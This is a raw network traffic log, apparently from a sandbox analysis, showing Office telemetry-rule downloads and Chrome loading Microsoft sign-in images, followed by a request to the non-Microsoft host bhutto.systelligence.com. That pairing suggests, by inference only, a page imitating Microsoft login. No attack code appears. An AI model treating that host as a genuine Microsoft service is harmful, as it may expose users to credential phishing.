2024-11-07 22:47:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224729Z-16547b76f7fp6mhthC1DFWrggn00000008w000000000f05s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224729Z-16547b76f7f7rtshhC1DFWrtqn00000008v0000000009mg7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e9380aa8-701e-005c-5160-2ebb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224729Z-15869dbbcc6tjwwhhC1DFWn2280000000240000000009q1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b71120f-601e-0050-0560-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224729Z-15869dbbcc6qwghvhC1DFWssds00000005fg000000006y3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49772	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:30 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:30 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:30 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 1934e2a1-901e-004e-6de7-2e9a61000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224730Z-17df447cdb54qlp6hC1DFWqcfc00000004y000000000k8t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:30 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49770	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:30 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:30 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:30 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: d8d56a66-401e-006a-2281-301b7e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224730Z-17df447cdb5l865xhC1DFW9n7g000000022g000000000w73 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:30 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49767	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:30 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:30 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:30 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 8b1aa717-f01e-0053-0341-30dfcf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224730Z-15869dbbcc6gt87nhC1DFWh9un00000009sg000000001xrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:30 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49769	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:30 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:30 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:30 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: c97bf5e1-801e-0038-538a-2c6796000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224730Z-16547b76f7fdf69shC1DFWcpd000000008p000000000hqgf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:30 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49768	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:30 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:30 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:30 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 70daa0fa-801e-0020-02a5-2ccf4e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224730Z-16547b76f7fkcrm9hC1DFWxdag00000008yg0000000054ds x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:30 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49774	152.199.21.175	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:30 UTC	424	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:30 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19674822 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Thu, 07 Nov 2024 22:47:30 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-11-07 22:47:30 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49777	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:31 UTC	359	OUT	GET /favicon.ico HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:31 UTC	932	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-powered-by: ASP.NET x-powered-by-plesk: PleskWin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Last-Modified: Thu, 07 Nov 2024 22:47:29 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xgo3YBoxorObUGT4VpIHtu0BZT3lUdgydZi3a9jTdTNmSmRc9Pr7%2FzxwtYSg5UyDiQ8lNCCI2glBoHzvRYigEYc0z08hMmW7%2FKFZEowDF%2Bs5Ep5Zu5MZizyuZ%2BiyUPKXU5eBZZb6FSf2QvM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd937c3a6c08-DFW alt-svc: h3=":443"; ma=86400 server-timing: 